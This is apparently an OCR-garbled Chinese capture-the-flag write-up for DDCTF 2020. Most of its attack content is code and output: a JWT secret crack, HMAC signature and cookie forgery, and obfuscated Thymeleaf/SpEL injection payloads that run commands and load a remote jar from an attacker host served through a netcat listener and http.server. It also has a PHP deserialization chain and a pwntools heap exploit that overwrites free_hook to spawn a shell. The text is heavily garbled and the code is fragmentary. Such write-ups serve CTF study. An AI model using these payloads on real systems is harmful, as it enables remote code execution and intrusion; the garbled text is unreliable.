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POST /admin/login HTTP/1.1

Host: 117.51.136.197

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/web
p,image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 16

username=1&pwd=1

PRE K —imiE R, ZFjwt, jwtiod — F/Ehs256

T

HTTP/1.1 200

Server: nginx/1.14.0 (Ubuntu)

Date: Fri, 04 Sep 2020 03:07:00 GMT
Content-Type: application/json
Connection: close

Content-Length: 204

{"code":0, "message": "success", "data":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUZzI1INiJ9
.eyJ1c2VyTmFtZSI6IJEiLCIwd2Qi0iIxIiwidXN1c1lIvbGUiOiJHVUVTVCISImV4cCI6MTUS
OTI3NTIYMHO.ztCPucBuz7_uPQLdE-hdLwip_ AklccPd_PulDA2c-8w"}

root@VM-10-6-ubuntu: /home/fy/c-jwt-cracker# ./j

¢ lJvbGU101iJHVUVTVCIsImV4cCIGMTUSOTISNTIyMHO. ztCP

Secret is "1"

Hl— Fkey@&1, fhi&iln]=Hclient
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GET /server/health HTTP/1.1
Host: 117.51.136.197
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

HTTP/1.1 200

Server: nginx/1.14.@ (Ubuntu)

Date: Fri, 04 Sep 2020 03:30:26 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive

{"code":0,"message" :"success","data" :nul1}POST /server/command HTTP/1.1
Host: 117.51.136.197

User—Agent: Go-http-client/1.1

Content-Length: 103

Content-Type: application/json

Accept-Encoding: gzip

{"signature" :" IXHD5zwxACAF770cvMLYJ90NBYeQWCYor29zEWF50vw=", " command" :" 'DDCTF'","timestamp": 1599190226 }HTTP/1.1 200
Server: nginx/1.14.@ (Ubuntu)

Date: Fri, 04 Sep 2020 03:30:26 GMT

Content-Type: application/json

Transfer-Encoding: chunked

Connection: keep-alive

{"code":0,"message" :"success","data" :"DDCTF"}

Wiclient, #3¥signatureiif-Ki¥H, M4k, Bl UA A, FIl H A4 Zhmacsha256 5%, AR5 %912
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import requests
import json

from hashlib import sha256
import time

url

a = requests.get(url)

print(a.text)
(time.time())

.encode(

.encode( )
print(data)
signature = base64.b64encode(hmac.new(appsecret, data, digestmod=sha256).digest())
print(signature)
data = { :signature.decode(), : , 1}
print(json.dumps(data))
url
headers = {

a = requests.post(url=url,headers=headers,data = json.dumps(data))

print(a.text)
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long long:
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< C O A FL%2 | 116.85.37.131/11b67e5088cef9b1c97bd5a30eb3b760/fla

=" WA 3 Tools B ML E3 Webshell#§ill E5 DomainPentest E5 AwesomeVuln [E5 Fuzzing

404 page not found

45 T secretkey, 1R%5 5 M8 Fhitsession, 2 i sessionfii iy kb64 & Bl admin, FFLE T B fhi&— FEIH]

obj string format is invalid

1fy in ~/Downloads/secure-cookie-faker-master
-+ go run * enc -n "session" -k "Udcl3VD5adM_c1@nPxFu@v12" -o '{admin[string]:true[bool]}'

MTUS0TIwNzI1IM3xFXy1CQkFFQkEwOWLhZ@hfZ2dBQkVBRVFBQUFkXzRIQUFRWnpkSEpwYm1jTUI3QUZZV1J0@YVCcORV1t0XZiQU1DQUFFPXy60Vs—zNJ-yoDaRhP362g304LM4
jBkZI@FdPWgoeaZMw==

1fy in ~/Downloads/secure-cookie-faker-master

web3
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http://116.85.37.131/34867ccfda85234382210155be32525¢/;/web/index

BE MRS Iimgik A AMMER L, RJE1E18Eweb.xml. spring-core xmlZ:4s, B R ALIRG, a5 1) 25 controller 5 £
AuthControllerfllIndexControllerj />

A" controller
» {ub AuthController.class
» {ub IndexController.class
¥ [= model
» {ub Role.class
» fup User.class
v (= util
v 1y SafeFilter.class
» (2 SafeFilter
.DS_Store




F Flauthi# i Bkfs 7
http://116.85.37.131/34867ccfda85234382210155be32525¢/;/web/68759¢96217a32d5b368ad2965f625ef/index, & I /&4
render, 454 NIAwebxmliEz®| T, 58 Hthymeleaf, & n] Gt thymeleafiE 4, Ziitissti.

W—F[S{1+1}]], 2 [F12, ok

R R AR W T I, IR R E R Dl gban T .

bcel -> org.apacheZ<ban

mlet/jJdbcrowset -> ¥ X setfiban

ServiceLoader/com.sun.naming.internal.VersionHelper.getVersionHelper().loadClass ban
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${T(org.apache.commons.io.lOUtils).toString(T (java.lang.Runtime).get
Runtime().exec(T(java.lang.Character).toString(99).concat(T(ja
\va.lang.Character).toString(97)).concat(T(java.lang.Character).toStri
ng(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.la
ng.Character).toString(47)).concat(T(java.lang.Character).toString(10
)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.C
haracter).toString(99)).concat(T (java.lang.Character).toString(47)).c
oncat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).
toString(97)).concat(T(java.lang.Character).toString(115)).concat
T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toStrin
0(119)).concat(T(java.lang.Character).toString(100))).getinputStream())}

WA T L& 2 T(java.lang.Character) )i 5t 1] LAtoString s #4916 47 di >k, AT EH 515, (Hi2gjava.langfEwaf i, 44 )5 w2
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@Value("#{ T(String)}")
private Class<?> tLangString;

Jit L] LA B # T(Character) 2 #4382 75 5 1
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T(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Files").readAllLines(T(java.net. URLClassLoader).getSystemCla
ssLoader().loadClass("java.nio.file.Paths").get("/flag"))

B Zread K id fEwaft, S8)5 HAh K payload S Lt fil & T ioffiwaf, it LA#fturlclassloader.

urlclassloader’ — T~ payload 58 #



content=[[${new+java.net.URLClassLoader(new+java.net.URL[|{new+java.net. URL(T(Character).toString(104)%2bT(Character).toString(116)
%2bT (Character).toString(116)%2bT(Character).toString(112)%2bT(Character).toString(58)%2bT(Character).toString(47)%2bT(Character).t
oString(47)%2bT(Character).toString(49)%2bT(Character).toString(51)%2bT(Character).toString(57)%2bT(Character).toString(46)%2bT(Cha
racter).toString(49)%2bT(Character).toString(57)%2bT(Character).toString(57)%2bT(Character).toString(46)%2bT(Character).toString(50)%
2bT(Character).toString(48)%2bT(Character).toString(51)%2bT(Character).toString(46)%2bT(Character).toString(50)%2bT(Character).toStri
Ng(53)%2bT(Character).toString(51)%2bT(Character).toString(58)%2bT(Character).toString(49)%2bT(Character).toString(50)%2bT(Charact
er).toString(51)%2bT(Character).toString(52)%2bT(Character).toString(47)%2bT(Character).toString(108)%2bT(Character).toString(102) %2
bT(Character).toString(121)%2bT(Character).toString(46)%2bT(Character).toString(106)%2bT(Character).toString(97)%2bT(Character).toSt
ing(114))}).loadClass(T(Character).toString(65)).getConstructor().newinstance().toString()}]]

root@VM-10-6-ubuntu:~# ~C

root@/M-10-6-ubuntu:~# nc -lv —-p 12345

Listening on [0.0.0.0] (family @, port 12345)

Connection from [116.85.37.131] port 12345 [tcp/*] accepted (fam
ily 2, sport 54088)

hello ddctf!

/flag_is_here

r -

root@VM-10-6-ubuntu: ~

root@/M-10-6-ubuntu: /home/Lfy# python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 ...
116.85.37.131 - - [05/Sep/2020 17:12:27] "GET /1lfy.jar HTTP/1.1'

200 -
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public function __unset($key)

{

$func = $this->content;
return $func();

}




public $contents;
public $page;

class HintClass {

/I protected $hint = "local_file:///etc/passwd";
protected $hint = "execute";
public $execute;

class MiddleMan {
private $cont = 1;
public $content;

class MyClass

{
var $kw0ng;
var $flag;

$mc = new MyClass();
Smc->flag = "-exec Is -al / ;";

Smid2 = new MiddleMan();
Smid2->content = [$mc,'get_flag'];

$c->contents = "a";

lecho urlencode(serialize($c));
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def compare_by rgb(rgb_source, rgb_flag):
count = len(rgb_source)
differ =0
for i in range(count):
if rgb_source[i] == rgb_flag[i]:
differ += 1
return round(differ / count * 100, 2)
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Hinclude
Hinclude

#define u16 uint16_t

u16 inp[] = {
2684, 3599, 1079, 633, 1799, 1121, 1766, 364, 1943, 873, 1842, 104, 1559, 800, 1590, 3941, 1894, 3948, 1894, 1380, 519, 1135, 1654, 1
396, 1670, 1394, 519, 1897, 1862, 2080, 1591, 633, 1799, 1135, 1655, 609, 1798, 2169

};

u16 out[] = {
2568, 3185, 567, 361, 1793, 1001, 3036, 2896, 307, 258, 3884, 2240, 2214, 2489, 993, 2168, 2759, 2361, 2759, 73, 2269, 3421, 3808, 41
5, 1214, 1260, 2269, 934, 300, 2160, 2209, 361, 1793, 3421, 990, 790, 2503, 2845

};

u16 ror7(u16 b) {
return ((((b) & 4095) >>7) | (((b) << 5) & 4095));

int main(int argc, char* argv[]) {
#pragma omp parallel for
for (u16 k0=48*20+32*90; kO < 4096; kO++) {
printf( , kO);
for (u16 k1=0; k1 < 4096; k1++) {

for (u16 k2=0; k2 < 4096; k2++) {
for (u16 k34=0; k34 < 4096; k34++) {
int FLAG = 1;
for (int i=0; i < 38; i++) {
if (ror7(sbox0[sbox1[sbox0O[kO *inp[i]] * k1] * k2] * k34)
FLAG = 0;
break;

, kO, k1, k2, k34);

G RIgAT

$ gcc -fopenmp exp.c -0 exp
$ /exp

WTAEANKO, 174006 T AIkL, k2, k34 5% KHE 7 2 14min.
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k342554 k3 + k4

B MR Y A, Bl AT getflag.

Class Cipher(

def decrypt_bits(self, b):
unboxed = self.rol7(b & BIT_MASK) * self.k3
return (self.rsbox0[self.rsbox1[self.rsboxO[unboxed] * self.k2] * self.k1] * self.k0)

def getflag():
flag_enc fromhex(

)

¢ = Cipher(3488, 2863, 726, 1886, 0)
print(c.decrypt(flag_enc))

if __name_
getflag()

DDCTF{2c38c38011e31e919dcd54c8ebd23491}
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N6 EIAE , 2 show i I {5 287 HE — ANk, 2 AT B unsorted bint (H & startfg 4150 581, T Llleak Hlibc_base

4R —kshow() 2 £ P B i Bichunk 2> free i _E—kshow() H B35 [l chunk, B F-old chunkH prevsize i FA & EU8-0x10, 3 i1 T4 755 (1) J5 4]
By LAIA) T~ S35 98, Bl T fEbss B LB AN —/NbssHibik, 28 J5 ST R 5

free_hook - 8)
free_hook + 8)

0x605398)
0x6053A8)

edit(0x68732F6E69622F)
edit(system)

SR JE s o R AT B R Rlfree_hook |77, A TEfree_hook -84k 5 N\ —M/bin/shif]64 17 % AU E free_hook & system#A J& clearfl 1]

getshell

from pwn import
context.log_level
def menu(ch):
p.sendlineafter('>>',str(ch))
def new(size):
menu(1)
p.sendlineafter(
def show():

():

def edit(value):
p.sendlineafter(
p.sendline(str(value))

def no():
p.sendlineafter(

p = remote(

((p.recvuntil(\n',drop=True)),10) - libc.sym[ ]-0x10 - 88
(libc_base))




((p.recvuntil("\n',drop=True)),10) - 0x11C30
(heap_base))
10 _list_all = libc_base + libc.sym[
for i in (10):

libc_base + libc.search( )- 0

system = libc_base + libc.sym[ ]
Global_max fast = libc_base + 0x3C67F8
ree_hook = libc_base + libc.sym[
for iin (8):

new(0x20)

(7):
new(0x21)
show()
edit(free_hook - 8)

edit(0x6053A8)

show()
edit(0x68732F6E69622F)
edit(system)

clear()

p.interactive()
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